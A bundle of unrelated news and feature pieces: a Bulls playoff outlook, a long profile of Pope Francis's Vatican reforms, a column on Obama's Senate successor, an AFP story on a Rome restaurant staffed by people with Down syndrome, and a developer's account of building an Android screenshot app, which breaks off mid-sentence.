to use Anthony Davis and DeMarcus Cousins to full efficiency. But because these are the Bulls, no game can be penciled in as an easy win. Against the Knicks, Nets, Magic and 76ers, the Bulls are a combined 6-4—and if not for a Jimmy Butler buzzer-beater against the Nets in late December, that record would be an even .500. The combined teams have a winning percentage of .331, making it by far the easiest schedule of the teams vying for a playoff spot. Short of the Nets, the Bulls have lost to the bottom feeders in the East—as those individual instances are chief reasons why the Bulls sit two games below .500 and needing the back end of their schedule to help push them to the postseason—along with timely collapses from the Indiana Pacers and Detroit Pistons to move things along. Only Rajon Rondo would acknowledge the opportunity in front of his team, that the Bulls control their destiny. Ever the one who zigs when everyone else zags, Rondo has his sights set a bit higher than being tied for seventh seed in the East—which would put them in danger of playing a motivated Cleveland Cavaliers team in the first round. "We’re not stopping at seven. We've got a nice schedule ahead of us," Rondo said. "(If) we take care of what we need to take care of, we can move up even more. I think other teams have a tougher schedule than us, but it's one game at a time." Rondo having a hand in the Bulls being a more cohesive unit certainly elevates his level of confidence and the fact the Bulls beat the Bucks and Hawks—the teams occupying fifth and sixth seeds, respectively—gives credence to his beliefs. "I always look at it like nobody picked us to be in the playoffs, nobody picked us to win, anyway," Butler said. But expectations can be recalibrated and the Bulls must face the reality of what they've created and walked into: They should be somewhere when the playoffs begin two weekends from now, and it's not Bora Bora. -They're an experienced team, the three of them. The driver has barely stopped, and already the security guard has grabbed a child from the crowd on the left and is holding it up for the pope. The pontiff bends over, kisses the child -- and then it's over. The whole thing takes mere seconds and repeats itself several times during the pope's Wednesday lap of honor before the general audience on St. Peter's Square starts. If there are any larger groups he can see -- Boy Scouts, for example, or wheelchair-users -- then Christ's representative on Earth briefly taps the Popemobile-driver on the shoulder to get him to stop. When observed from up close, Pope Francis comes across as a stately man. The white cassocks strain at his midsection, his pronounced chin is elongated and his eyes look searchingly into those of the people surrounding him. Compared to his predecessor, the almost otherworldly smiling Benedict XVI, the Argentinian comes across as downright earthly. As though there were no distance at all. He hugs and he pats. He kisses small children and cardinals. He does it without warning and enthusiastically. It's almost as if he's using bodily contact to console himself for the burden of his position. He is the highest-ranking person of faith and a role model for the 1.3 billion Catholics around the world. When Pope Francis, otherwise known as Jorge Mario Bergoglio, entered St. Peter's Basilica at 10 a.m. on Pentecost Sunday for the Holy Mass, he had been in office for 797 days. Seven-hundred-ninety-seven days in which he has divided the Catholic rank-and-file into admirers and critics. At time during which more and more people have begun to wonder if he can live up to what he seems to have promised: renewal, reform and a more contemporary Catholic Church. Francis has had showers for homeless people erected near St. Peter's Square, but has at the same time also spent millions on international consultants. He brought the Vatican Bank's finances into order, but created confusion in the Curia. He has negotiated between Cuba and the United States, but also scared the Israelis by calling Palestinian President Mahmoud Abbas an "angel of peace." This pope is much more enigmatic than his predecessor -- and that is becoming a problem. Right up to this day, many people have been trying to determine Francis' true intentions. If you ask cardinals and bishops, or the pope's advisors and colleagues, or veteran Vatican observers about his possible strategy these days -- the Pope's overarching plan -- they seem to agree on one point: The man who sits on the Chair of St. Peter is a notorious troublemaker. Like a billiard player who nudges the balls and calmly studies the collisions during training, Francis is getting things rolling in the Vatican. His interest in experimentation may stem from his past as a chemical engineer. He makes decisions like Jesuit leaders -- after thorough consultation, but ultimately on his own. The Francis principle has a workshop character to it, with processes more important than positions. Traditional Catholics see things exactly the other way around from Bergoglio, the Jesuit, and this is creating confusion right up to the highest circles of the Vatican. People want to know where the pope is heading. The Pope's Empire To get a better idea of the place from which Francis is declaring war on the Vatican's ossified system, a good way to start is to ride the elevator up from San Damaso Square in the world's smallest country. Upstairs, in the second Loggia of the Apostolic Palace, the door opens to the pope's empire. Members of the Swiss Guard bang their heels and stand watch here in the half-darkness. Visitors pass through arcade passages decorated with masterpieces by Renaissance master Raphael and his students, before entering the heart of Catholic power -- the Clementine Hall, where Polish Pope John Paul II lay in state. It is the hall which houses the sedan chair Pope John XXIII used to get around, and the death chamber of Leo XIII. Amidst all of this pomp and patina, Bergoglio, an Argentinian, still seems strangely alien to this day -- like a big, exotic bird beating its wings in a golden cage. When he's sitting at his desk in the Apostolic Palace, the pope -- a man who has assiduously dedicated his church to serving the poor -- only needs to push a golden button to set off a ring tone and summon a servant from the neighboring room. If it weren't for the recently installed statue of the Madonna of Luján, the patron saint of Argentina, in the pope's library, everything at Catholic Church headquarters would look like it did when Benedict XVI was still in office. This despite the fact that, since the latter's resignation on Shrove Monday 2013, an experiment with an uncertain outcome has been carried out in the Vatican, instigated in the name of the Father, the Son and the Holy Ghost. In the process, Pope Francis is simultaneously fighting on three fronts: against the claims to power of his council, the Curia; against ostentation and pomp in the clergy; and for a radical return to the Gospel. When Bergoglio announced the beginning of a new era on March 13, 2013, with a subtle "buona sera" from the balcony of St. Peter's Basilica, things were going badly for the Catholic Church. In the past several years, its image had been shaped by scandals involving child abuse, corruption and money laundering, document theft in the papal apartments and intrigue in the Curia. If nothing else, the Cardinals chose Bergoglio to be the successor to Ratzinger for this reason: The unblemished "Pope from the end of the world" was supposed to clean up shop. A Pope and His Predecessor There's one person with an up-front view who should know what's changed: Archbishop Georg Gänswein, known as "Don Giorgio." Still Ratzinger's private secretary, he also serves as the chief of protocol, the top person in the Apostolic Palace under Francis. His title: prefect of the papal household. As a servant of two masters, and a man who navigates between two worlds, Gänswein is emblematic of a situation that has never before occurred: A pope and his predecessor living as neighbors in the Vatican. On this particular morning, Gänswein is wearing cassocks made by Gammarelli, the Vatican's court tailor. He's also wearing shiny cufflinks and a massive golden cross around his neck. Described as the "George Clooney of the Vatican" by journalists, he doesn't think he should have to slip into prayer robes simply because of the sudden enthusiasm for modesty that has taken hold under Francis. "No," says Gänswein, who is open about the fact that he considers fellow clergymen, "not excluding" cardinals, to be cowards for recently exchanging their golden crosses for tin ones at Porta Sant'Anna, near the entry to the Vatican. He claims that the many subjects on which the two popes agree are lost in all the excitement over Francis and his warning against "spiritual worldliness" -- meaning the devotion to the profane. "His successor is now honoring what Benedict XVI called for," Gänswein says. "The only difference is that Francis is celebrated instead of being criticized for his appeals." Indeed, Jorge Mario Bergoglio, the first non-European on the papal throne in over one thousand years, has quickly become a favorite of Catholics -- and even more so of non-believers and the media. In his first year, Francis appeared on the covers of both Time and Rolling Stone. Business magazine Fortune named him the world's greatest leader. The Economist raved that Francis was on the verge of reinventing "the world's oldest multinational." Undoing the Fetters Almost 6 million faithful attended audiences in 2014. According to many observers, this says a lot for the pope -- Francis is breaking with tradition, and thus is undoing the fetters. He is letting outside experts reorganize the scandal-rocked Vatican Bank. He is having the reform of the Curia pushed through by cardinals who previously had little to do with the governing body. He encourages the church to talk about family, about marriage, about sexuality, and doesn't get tired of arguing for more compassion and solidarity for the poor and the marginalized, whether he's in Lampedusa or Copacabana. And this pope is political. He takes positions, including uncomfortable ones. He doesn't dodge, he gets involved. Before negotiating rapprochement between Cuba and the United States, he held a four-hour prayer vigil for peace in Syria. He scandalized Turkey by describing the Armenian genocide as just that, and provoked Israel by acknowledging Palestine as an independent state. Not surprisingly, critics within the church have begun quietly grumbling in the pontiff's third year, but it is becoming increasingly audible. There are various reasons why they feel uneasy about the man from Buenos Aires: His leadership style is supposedly too authoritarian, his self-marketing is too sophisticated, he doesn't know enough about matters of doctrine. Prominent German novelist Martin Mosebach even openly claims that this pope is making his mark "at the expense of the church." He argues that Francis "throws around snazzy sayings" and gets attention by fitting in with the zeitgeist, but that he cares little about tradition. As it turns out, it's not just Bergoglio's theological side that perplexes people, it's also the man himself. His always soft voice obscures his word choices and contradictions. He has accused his cardinals of suffering from "spiritual Alzheimer's" and warned believers not to breed like "rabbits." At the same time, and in front of thousands of listeners, he praised a father who smacks his child, but never in the face. "How beautiful! He knows the sense of dignity," he said. Bergoglio is a surprising pope in every sense of the word. But what does he want? Does he have a plan for his church, or is he simply content turning everything in this small, walled Kremlin-like state in the middle of Rome on its head? Francis' plan is actually for a church in which the power rises from the bottom to the top -- but that also seems like an unspoken declaration of war, especially against the Vatican Curia. Others expect a lot from the pope -- but he also expects a great deal of himself. The light in apartment 201, in the third story of the Santa Marta guest house, goes on at around 4 a.m. The area is still quiet at that time. Only a few hours later, shortly before the beginning of the early mass, do things start coming to life in the Vatican's alleys and gardens, as well as in St. Peter's Basilica and further down, in the Campo Santo Teutonico, a bastion of German residents in the city-state. Up in the Mater Ecclesiae Monastery, former Pope Benedict XVI conducts mass with Archbishop Gänswein and four nuns. Francis celebrates mass down below, in the simple Santa Marta chapel where, in front of handpicked visitors, he gives the message of the day, which will later be passed on by the media. The Catholic Church, his sermons argue, needs to get closer to the people; a spiritual leader needs to be a shepherd living with the smell of the sheep, the pope is fond of saying. It makes sense then, that the pope doesn't like being protected in the Apostolic Palace -- a "funnel," he claims, that only allows visitors in "drop by drop" -- and instead resides in the Santa Marta guest house. He has moved his control center here, and he and his employees occupy an entire floor -- a plan that raised both costs and hackles. Francis, however, lives modestly in a three-room mini-apartment, between statues of the Virgin Mary, crucifixes and a coffer with eight bone fragments of the Apostle Peter. If the pope looks out his window, he can glimpse impressive history. On the left, in the Palazzo San Carlo, former Cardinal Secretary of State Tarcisio Bertone, the strongman of the Ratzinger era, looks out of his roomy residence. Bertone's predecessor, Angelo Sodano, lives in the Ethiopian College. Former Pope Benedict XVI lives in an apartment up on a hill that he shares with Georg Gänswein. And there's also Cardinal Walter Brandmüller -- 86 years old, former chief historian of the Vatican and one of the leaders of the conservative Bergoglio critics. He lives just above the vestry of St. Peter's Basilica. Doubts Sometimes, while Francis is still busy preparing for his Sunday Angelus prayer, Brandmüller is already sermonizing in the heart of St. Peter's Basilica -- and directing caustic questions at the pope and his "public relations strategies": "Will the clattering of the church apparatuses wake up the sleeping? Bring the attention of the masses to the Christian message?" Brandmüller isn't the only person to have his doubts. Meanwhile, Francis works restlessly, like someone who doesn't have much time left to implement his plan. After morning mass he eats breakfast with the faithful. Then, in the morning, he makes his way through administrative meetings with Gänswein in the palace, and after a brief afternoon break, dedicates himself to the truly revolutionary part of his daily routine: his off-the-record meetings with the public, which he organizes by circumventing the Curia, using his phone, pen and paper himself. In these hours, the doors to the papal apartments stand open: for victims of abuse, transsexuals, admitted agnostics, longtime confidants and bishops on a mandatory visit to the Vatican, whom the pope invites to "the fireside," as he calls the shared discussions. Not everything discussed there stays secret -- thanks to the more talkative members of those meetings, Francis' thoughts about this and that in the Vatican emerge. Critics argue that a pope should have the last word, and not utter the first thing that comes to mind. Chatter isn't part of his job. Supporters counter: Francis is searching for dialogue, and that already speaks in his favor. The best symbol of the Vatican's new style isn't the forgoing of the red shoes and the ermine-trimmed mozetta, but rather the renunciation of strict guidelines in general. Suddenly, meetings with high-ranking members of the Curia that used to be regularly scheduled are no longer take place. On Tuesday mornings, Francis no longer sermonizes for the general audience, instead doing whatever he wants to. In Albania, his prepared and already translated speech, was interrupted when two victims of Stalinism move the pope to tears. Whenever Francis goes off-script, the Vatican's press department prepares for the worst. This pope keeps everyone on their toes, says one high-ranking member of the Curia: "With him, you can even imagine him selling Michelangelo's Pietà and giving the money to the poor." When he's in a rush, Bergoglio picks up the phone himself. "I find this uncomplicated way of doing things very positive," says powerful Swiss Curia Cardinal Kurt Koch in his reception room. Koch is the president of the Pontifical Council for Promoting Christian Unity and a member of five congregations. He was even considered a pope-candidate, or "papabile," before the 2013 Conclave. 'Francis Has a Clear Goal' The humble former Bishop of Basel, who wears a silver cross around his neck, regularly meets his boss for a meal or a glass of wine. "I thoroughly believe," Koch says, "that Francis has a clear goal, which is that the church needs to become more missionary and not revolve around itself." But it is questionable, he argues, how much this pope can ultimately change: "There is a lot of excitement about him, but as one can certainly see, in the people leaving the church in many countries, you can't really detect a Francis effect." The pope can fill the squares with his sermons, but not the churches or the priest seminars, at least not in Europe. It's still unclear what he stands for -- except for a church that is looking for its flock on the edges of society. A more decisive agenda is expected to be set by the Synod of Bishops in October. At that point, a discussion is to take place about the future of the family, positions towards homosexuals and the question of whether divorced people who have remarried should be allowed to receive communion. At the heart of the raging quarrel over the church's direction is a single question: In the 21st century, who needs to move towards whom -- the modern person towards the Catholic Church and all of its iron-clad requirements and prohibitions? Or the church towards the people and today's diverse forms of modern partnership? In the Palace of the Holy Office, in which Galileo was once imprisoned, Cardinal Müller, the head of the Congregation of the Doctrine of the Faith, represents the immovable standpoint: namely that the fundamentals of the faith -- those laid down in writing and tradition, in dogmas, encyclicals and papal writings -- are not to be shaken. In a recent interview for a Polish Catholic newspaper, Müller warned that even high-ranking clergy have allowed themselves to be so "dazzled by secular society" that they have lost sight of the important teachings of the church. Francis' motto, on the contrary, is: "Reality stands above the idea." Instead of withdrawing in the name of pure teachings, he claims it is better to "allow oneself to be surprised by the Holy Spirit." However, when it comes to doctrine, Francis has shown himself to be a proponent of the traditional family. He says he doesn't have any interest in constantly "addressing abortion, homosexual marriage, contraception." But he also knows: It will not suffice to criticize the dispute as one between "hostile torpor" on the right-hand side and "destructive do-gooder-ness" on the left, as he has in the past. In his programmatic treatise "Evangelii gaudium," from November 2013, Francis emphasized joy in the proclamation of the Gospel over an uncompromising adherence to the teachings. It is an approach that excites simple worshippers and faraway observers of the church in particular, but less so the dignitaries and trustees of the Catholic Church. For others, especially Germans, the Pope is still a disappointment: too conservative for progressives, and too noncommittal for conservatives. In the "Evangelii gaudium," Francis wrote he did not "believe that the papal magisterium should be expected to offer a definitive or complete word on every question which affects the Church and the world." On the other hand, he warned priests not to talk 10 times about sexual abstinence and only two or three times about love. And again and again he has brought up the dignity of man and the right to work. A system that excludes many from wages and bread, he has written, is unacceptable: "Such an economy kills." The Latin-American Pope His word choice reveals that the man on the Chair of St. Peter has less experience with Western-style social economics and social encyclicals in the Catholic Church than he does with poor Latin American neighborhoods. When he was elected pope, Bergoglio was 76 years old -- and had previously spent almost his entire life in Argentina. That might best explain why this pope is so different. "Jorge, don't change." Bergoglio told his biographer Elisabetta Piqué that he had made this resolution right after his election in Rome. He has taken into consideration that there is a danger that he will repeat the "old mistakes" in his new position. But a man of his age makes himself look silly, he argued, if he tries to reinvent himself. In Rome, consequently, he now acts according to a model that harkens back to his time in Argentina: The Francis principle. Bergoglio himself claims that even when he was a Jesuit Provincial Superior he made "decisions in very abrupt and personal ways." Back then, at the age of 36, he had been named the highest-ranking Jesuit in the country. As Jesuit priest Carlos Carranza stated for the record, Bergoglio's strict rules meant that despite his selfless mission, "he and his way of leading the province" encountered hostility. It's been documented that in 1986, in a time of "great inner crisis," as Bergoglio describes it, he was transferred for disciplinary reasons to the city of Córdoba. The exact reasons have remained secret. Another witness of the period claimed that some Jesuit monks considered Bergoglio to be crazy. Even his mail and his phone were monitored. His reputation for being pious, uncomfortable and inscrutable remained when he became the rector of a theological college and the archbishop of Buenos Aires. Argentinian Nobel Prize winner Pérez Esquivel publicly pleaded to the Holy Spirit that the "ambiguous" and politically hard-to-categorize Bergoglio should not become pope. Eight years later, it happened anyway. 'Create Confusion' Since then, Bergoglio has continued to follow his old principle: "Hagamos lio" -- "create confusion" -- and trusts that the processes that he puts into motion will spur positive changes. "He himself doesn't know where they will lead, he trusts the Holy Ghost," suspects Vatican spokesperson Federico Lombardi. For Francis, he claims, what counts is a "church in movement." Conservative US Cardinal Raymond Burke, the head of the top Vatican jurisdiction, has been witness to this movement firsthand. A week after Burke criticized his church as a "ship without a rudder" in an interview, Francis pushed him into a post with the Order of the Knights of St. John. When it became known shortly thereafter that the commander of the Swiss Guard was also being pushed out, Vatican insiders reacted with outrage: "This is worse than in the Islamic State," one of them reportedly said. The clean-up work in the Vatican is a long way from being finished -- the fundamental reform of the Curia is still ongoing. A committee -- which also includes German Cardinal Reinhard Max, the Archbishop of Munich and Freising -- is considering suggestions. In Francis' eyes, he and the other eight members share one main advantage: They are outsiders, they barely know the Curia and act as foreign invaders disturbing the court's immune system. Francis' opinions about the Curia became clear on Dec. 22. A storm was unleashed in Clementine Hall, emptying itself over dozens of moiré-silk-clad skullcap-wearing cardinals, as well as the bishops cowering behind them. In any normal business, it would have been considered a vote of no-confidence against its leaders. Not so in the Vatican, where Francis first complained about "spiritual petrification" and "existential schizophrenia" in the Curia -- then made a smiling round and received loyal addresses of discipline. And this from all those who voted for him in the 2013 Conclave so that he may bring order to things with a strong hand. In the meantime, the angry whispering in the church has grown. Even lower-ranking Curia colleagues complain of a lack of sensitivity -- especially toward the low-earners in the Vatican who had their overtime hours cut, and this by a pope who sermonizes about charity. They must now survive on wages of around €1,000 ($1,094) a month. The experts from renowned consulting companies -- like KPMG, Deloitte & Touch or Ernst & Young -- who Francis brought in make similar amounts of money in just a few hours. They audit the books of the Institute for the Works of Religion (IOR), the Vatican Bank, or the economic plans of the Holy See -- with success. The Vatican's finances and properties, which are estimated to be worth several billion euros, are no longer in the permanent sights of the public prosecutors. Neither Conservative nor Progressive But Francis' radical approach isn't appreciated by all Catholics. One German cleric says that the transgressions of individuals in the past in no way justify the way the current pope is cursing his staff. "Any tree can produce rotten fruit, but does that mean you automatically take the axe to the trunk?" he asks. "Francis isn't just a very free man, he's also a bubbling volcano," says Sicilian Jesuit priest Antonio Spadaro, editor in chief of the Jesuit newspaper Civiltà Cattolica, which has been considered the unofficial central organ of the Vatican since Francis took office. Spadaro conducted the very first interview with Bergoglio after his election as pope in 2013. Even then, Spadaro says in his office, you could recognize that this man was "more of a shepherd than an ideologist," that he was "full of ideas" but nevertheless realistic when it came to what he might be able to achieve. "I don't believe that Francis seriously expects that he will be able to complete the processes that he has initiated," he says. The editor says the question of where to steer the church is not the pope's top priority. "It's very possible that he himself doesn't even know," he adds, saying that a man like Francis can't easily be squeezed into established patterns of thinking. "He is neither conservative nor progressive, he's not an ideologist -- he's more radical in the literal sense -- a person searching for roots." Spadaro also says, with a smile, that the Argentinian's tendency, like that of all Jesuits, to "think in a processual, open-minded way" makes him come across as erratic, but that this isn't necessarily a bad thing. "The Lord God is also unpredictable," he says. Francis is free of fear and he's curious. "The shepherd who locks himself in is not a true pastor for his sheep, but just a 'hairdresser' for sheep, putting in their curlers, instead of going out to seek others," Francis has said. That's why he often has a chauffeur drive him outside of the Vatican into worldly Rome in a modest Ford Focus. The first time he went to visit the Jesuit Curia, he called on his own to announce himself and say he would be making a whistle-stop visit. The receptionist on the other end of the line asked, "With whom am I speaking?" Francis answered, "The Pope." The man in turn said, "Yeah, and I'm Napoleon," before hanging up. Word has since gotten around that Francis is often out and about. After trips abroad, he kneels down to pray at Rome's Basilica di Santa Maria Maggiore, and he visits jails during his free time. He's also already made three visits to a soup kitchen run by the Jesuits in the city. A Slice of Home The Jesuits and their possessions in Rome are a slice of home for Bergoglio, who isn't fond of traveling and has done as little of it as possible all his life. In addition to the Jesuits, the pope is also surrounded by longtime confidants who give him a sense of being at home. They include his secretary, Fabian Pedacchio from Buenos Aires, who lives on the same floor as Francis. And Archbishop Víctor Manuel Fernández, a rector of the Papal Catholic University in Buenos Aires who is considered a progressive on moral issues, serves as an important advisor to Francis and flies in to visit him at the Vatican on a regular basis. Another friend of Francis', Oscar Rodríguez Maradiaga, the archbishop of Honduras, known for his critiques of capitalism, coordinates the Council of Cardinal Advisors. Meanwhile, Argentinian Jesuit Miguel Yáñez Molina has been dispatched to head the sensitive Commission for Safeguarding Minors, which has been set up to combat pedophilia in the church. Molina has been a confidant of Francis for 40 years. Finally, Brazilian Bishop Erwin Kräutler has been a major contributor to the pope's encyclical on the subject of ecology, which is set to be released soon. The clout of the Latin American wing of the church is growing within the Vatican. When it comes to issues like marriage and family, that branch has to set different priorities than the European one, which is something Francis recognized early on. For a long time, the American and European wings of the church were dominant in the Vatican, but their power is eroding under Francis. This is not without logic, either, given that more than half of the world's 1.3 billion Catholics live in the southern hemisphere. Francis has taken this into account and has made the church more international. In February, for the first time in Vatican history, the church appointed cardinals in Myanmar and Tonga. In Germany, the Catholic Church is continuing its decline, losing members by the year. Does this mean that Francis has as few answers to the Western world's questions of faith as his predecessor did? Archbishop Gänswein makes an effort not to come across as partisan on this question. He says Francis does a good job of communicating in the media and that he has a "seventh sense" for it. He says the pope is talented when it comes to reaching people's "hearts and minds." But after the headlines in recent years about child abuse and slush funds, even that isn't enough to suddenly make the church attractive again. Gänswein himself doesn't believe that one man's charisma alone can foster a shift in the thinking of the entire church. He also deplores the submission many of his colleagues have demonstrated toward this modest pope. "Many are no longer objecting just because they have a guilty conscience," he says. Connected By Fate Now Gänswein has to go -- from the new pope up to the old pope. It takes seven minutes on foot and a hike of 30 vertical meters through the Vatican gardens to reach the Mater Ecclesiae monastery. At Ratzinger's place there is still a strict regimen. Lunch with the nuns at 1:30 p.m. is followed by a walk and a siesta. Afterwards, Gänswein returns to work with the new pope. Later, he returns to the old pope for dinner at 7:30 p.m. where, of course, Francis is a topic of discussion. "I don't know what Benedict XVI thinks about the individual decisions or sermons," Gänswein says. "We discuss that in a very reserved way." With the exception of Gänswein, who had been privy to Benedict's plan to step down, no one had any clue at the beginning of 2013 that it would one day be possible for two popes to run into each other inside the Vatican walls. The two have been connected by fate since then -- or at the very least since the March day in 2013 when Francis returned by helicopter from a meeting with Benedict XVI at Castel Gandolfo with a large box in his baggage. It contained the investigative report on Vatileaks -- documents about corruption and mismanagement surrounding the Vatican, replete with machinations and gay saunas. Since then the former pope's legacy has been a burden for Francis. Benedict XVI and Francis do meet up from time to time, dining together or exchanging thoughts. They call each other on the phone and exchange letters. Reports about differences between the two are officially denied. Publicly, the pope speaks only positively about his predecessor. He says having Benedict XVI is like having "a wise grandfather at home." Still, rumors about Ratzinger having an adjunct papal role and making well-timed theological interventions persist. "It's all made up," Gänswein says. "It is being spread by interested parties." Others within the Vatican say the differences between the popes are much less significant than they may appear to be from the outside. After all, Pope Benedict XVI also preached modesty, ate lasagna with homeless people and visited jails. But even that didn't help the German thinker and theorist. Francis, on the other hand, has had little trouble winning over hearts. The Anti-Pope He has already created considerable momentum. He has involved himself to a high degree in foreign policy, positioning himself much more clearly than his predecessor. Meanwhile, his fight to bring transparency to the Vatican's coffers has also been successful. Most criticism of him so far has come from within the global Catholic Church. Indeed, the enthusiasm of millions is countered by growing antagonism within the Catholic establishment. The recurring complaint is that Francis blabbers a lot but is doing too little to clarify the direction in which he wants to steer the church. If there's one thing he's succeeded in maintaining, it's the lightness, the serenity and the cheerfulness with which he serves, and with which he breaks conventions and muddles up Catholic institutions. Francis is an anti-pope, one like no other who preceded him. He excommunicated mafia bosses, for example. And he does things that weren't even intended as his duties. He occasionally calls people up: Obama, Putin, ordinary believers. There's a revolutionary air to it all. Still, this isn't a revolution. This pope may be a free spirit, but he's also conservative and doesn't appear to be poised or able to change much of the church's fundamentals. That, indeed, may be the source from the very beginning of one of the greatest misconceptions about Francis: the fact that he tries to be close to the church's followers and keep a distance from its apparatus doesn't necessarily mean he'll stray far from its doctrine and dogmas. This year will be a decisive one for the pope. On Dec. 8, exactly 50 years after the closing of the Second Vatican Council -- which focused on the relationship between the Catholic Church and the modern world -- an extraordinary Holy Year will begin. With this scheduling, Francis wants to convey the message that he does, in fact, want to be a reformer. But in the process, he will have to battle the somnambulistic pace of the Catholic Church apparatus. Effecting change to the spirit of the Vatican requires years in office, the appointment of new cardinals and reforms. Francis may not have that much time. So far, the pope has only appointed 31 of the 120 cardinals entitled to vote for a successor. Much will now hinge on how the pope continues to endure his 18-hour days. Francis is 78 years old and has lived for decades without part of his right lung. He also struggles with back pain. When he climbs up to the altar in front of St. Peter's Basilica, he sometimes starts wheezing heavily. It appears that Francis often thinks about throwing in the towel, and he's even open about it. He has publicly stated that "my pontificate will be a short one." But even if that turns out to be the case, there is one thing people will be able to say about his pontificate: that he has shown that the church can have a different feel to it than many people who had given up on it thought. "Morto un Papa, se ne fa un altro" -- is a common saying in Rome that means, literally translated, if a pope dies, then the next one comes. It's as flippant as it is pious. When people first came up with the saying, nobody would have thought there could ever be two living popes, let alone three. -Jesse Jackson, Jr. is seen as a potential successor to Barack Obama in the Senate. Should Obama's replacement be black? Although Barack Obama’s historic election will place an African-American in the White House, it will reduce the number of African-Americans in the Senate to zero. That’s an even lonelier number than one, and it is not a number that this nation should be proud of. So the question is: Does Obama’s replacement in the Senate have to be black? Story Continued Below Some would argue yes. And Jesse Jackson Jr., a member of the House since 1995, began campaigning for the slot even before Obama won the presidency. Jackson, son of the Rev. Jesse Jackson, was one of Obama’s national co-chairmen and says he would be “honored and humbled” to replace Obama. So he’s an easy choice, a shoo-in for the job, right? Well, no. The politics of Illinois is not quite that simple. And the top contenders for the job have a tangled web of relationships with the people who will have a voice in Obama’s replacement, including Obama himself; Dick Durbin, the other Democratic senator from Illinois; Illinois Gov. Rod Blagojevich, a Democrat, who officially will make the choice, and Chicago Mayor Richard M. Daley, now in his sixth term, who has, to put it mildly, a certain amount of influence in the state. Rep. Jackson does not have a good relationship with Mayor Daley. They disagree on a huge local issue — whether to build a new airport south of Chicago near Jackson’s district or expand O’Hare — and Jackson also toyed with the idea of running against Daley for mayor in 2007. At that time, Jackson brought up the touchy subject of fathers, saying that perhaps Mayor Daley was not proud of everything his father, the late Richard J. Daley, had done. “His father was responsible for segregated policies of the city,” Rep. Jackson said. “I’m sure the mayor is not excited about the shoot-to-kill order, the protests or how Dr. King was treated. I’m sure he is not proud of that.” Political attacks are one thing, but attacks on family are another, and in Chicago, neither is forgiven. (Jackson decided not to run against Daley, who was easily reelected.) Gov. Blagojevich is not a fan of Jackson’s either, and, personalities and feuds aside, the argument used against Jackson is that he would “lack appeal downstate” when he had to run for election to the Senate seat in 2010. Lacking appeal downstate is code for, “White people won’t vote for him.” A Chicago political insider whom I trust says that Jackson is on a list of possible replacements for Obama but that Jackson has only an outside chance. One intriguing name on the shortlist is that of Emil Jones, 73, currently president of the Illinois Senate. He was one of Obama’s political patrons, is close to the governor and is an African-American, yet I got snorts of derision when I ran his name past some other Illinois sources of mine. That’s because Jones is from the old school — he started out as a sewer inspector, which is not bad training for a life in politics — and is not a modern, ready-for-TV candidate, possessing an orator’s tongue. He is a Chicago pol — the ring tone on his cell phone is the theme from “The Godfather” — but he would be a “place holder” only and would not run in 2010. He would fill the seat with an African-American and give the other contenders plenty of time to start their campaigns. -Basica­lly it's a normal restau­rant - except the waiter­s are nice, a woman said. ROME: It was another busy night for the staff with Down syndrome at the Girasoli restaurant in Rome, which serves up traditional pizza and pasta dishes along with a new way of looking at disability in the workplace. The neon-signed restaurant was set up in a suburb southeast of the Italian capital by the parents of children with disabilities, and it functions just like any other eatery – except 13 of its 18 employees are handicapped. “I love this room, monitoring it, making myself available, being in contact with people,” said Simone, a 24-year-old who after a paid internship of 600 hours now has a permanent contract with Girasoli (Sunflowers). “And above all I just love being here,” he said. When a group of women came in Simone deftly showed them to a table, clutching a few menus in his hand. “We heard good things about it so we wanted to come,” said one woman, while her friend added: “Basically it’s a normal restaurant – except the waiters are nice.” As he tucked into an amatriciana pasta dish, 64-year-old teacher Giuseppe said: “When you come here for the first time, you have certain expectations but you quickly realise that there is no need to have them.” The restaurant was set up in 2000 and is aimed at offering work to people with Down syndrome – a genetic disorder usually associated with physical growth delays and intellectual disability. “My waiters do their job and do it very well,” said chief waiter Ugo Menghini, who is not handicapped, praising the efficiency and speed of his staff. “If I was to set up my own business, I wouldn’t hesitate, I would hire people with Down syndrome.” Like many businesses in Italy, the restaurant has been hit by the recession and was forced to shut for several months last year for restructuring and renovation. It is now being run by Consorzio Sintesi, a social co-operative association which specialises in giving jobs to disabled people and also manages three call-centres for the Italian mobile phone operator Wind. “The state pushes for assistance but we prefer professional training. Everything here is self-financed with no subsidies from the state,” Enzo Rimicci, the head of the association, told AFP. “Every employee here manages to find their place based on their skills,” Rimicci said, explaining for example how one staffer, Marco, was too shy to work with customers but proved to be “a real machine” in the kitchen. “Seen close up, no one is normal.” he said, repeating an old Roman proverb that he likes. The restaurant’s training is rigorous and out of the 13 employees with Down syndrome, nine are interns. When Girasoli is closed in the morning, another team comes in to make cookies and cakes for the evening customers. Anna, a 22-year-old waitress, came in even on her night off to have dinner with her parents. “For us, for her it’s a great victory,” said her father, Carlo, tearing up as he described his daughter’s transformation since she started work. “Our daughter has gained autonomy. When she comes home from work, she is happy, proud of what she’s done,” he said, adding that Anna had also made progress “in how she relates to other people, in her language”. A further sign of the restaurant’s success is that another one is in the works. A new one is expected to open soon in Palermo in Sicily and Rimicci said there were even plans to turn the idea into a franchise and create many more outlets. Read full story -To achieve an exact replica of what my actual status bar looked like, I opened Android Open Source Project (AOSP) and copied the BatteryMeterView, deleting anything that was not do with drawing the battery showing 100% charge. Similarly, I ensured the clock display matched AOSPs. Initially I was aiming to get the the status bar pixel perfect for my own phone (a Nexus 4 running KitKat). Generally I was aiming to support Google’s Nexus devices — that’s what I had and knew, and really that was all that was interesting for me. Other manufacturers mess around with the appearance of many things, the status bar being one of them, and trying to get all of those accurate was not a challenge I was interested in taking on. Initially, the app just had a single button, letting the user toggle the black background with clock at 12:00 and battery 100% charged on and off — when pressed, the button started a Service which created the fake status bar. Drawing over other apps is done with a permission called SYSTEM_ALERT_WINDOW , which I first encountered using Link Bubble . Hiding the real status bar is not possible, so the app just draws a black rectangle over it — the time and icons shown in the top, right corner can be configured by the user. The idea came about after I had to produce a large number of screenshots for a client project: 8 screenshots of the app, showing 3 different currencies (GBP, EUR and USD), timed by 3 different screen sizes (phone, 7" and 10" tablets). It took forever — I painstakingly photoshopped the status bar of each screenshot to be clean and without the distractions of low/charging battery, notifications or poor WiFi/data connection. There has to be a better way! Clean Status Bar is an app I created in September 2014 to try and make taking nice screenshots for the Google Play Store easy and fast. Ugly screenshots are a distraction from the app you’re trying to show off, and have become somewhat of a pet peeve of mine. When I’m looking at an app on the Play Store and wondering whether it’s worth downloading or not, the first thing I look at is the screenshots. Why wouldn’t you show your app off at its best? Incidentally, there don’t seem to be any guidelines around what the time should be on Android screenshots, unlike on iOS where the convention is 9:41. Personally I still like 12:00, but for some brands/apps it 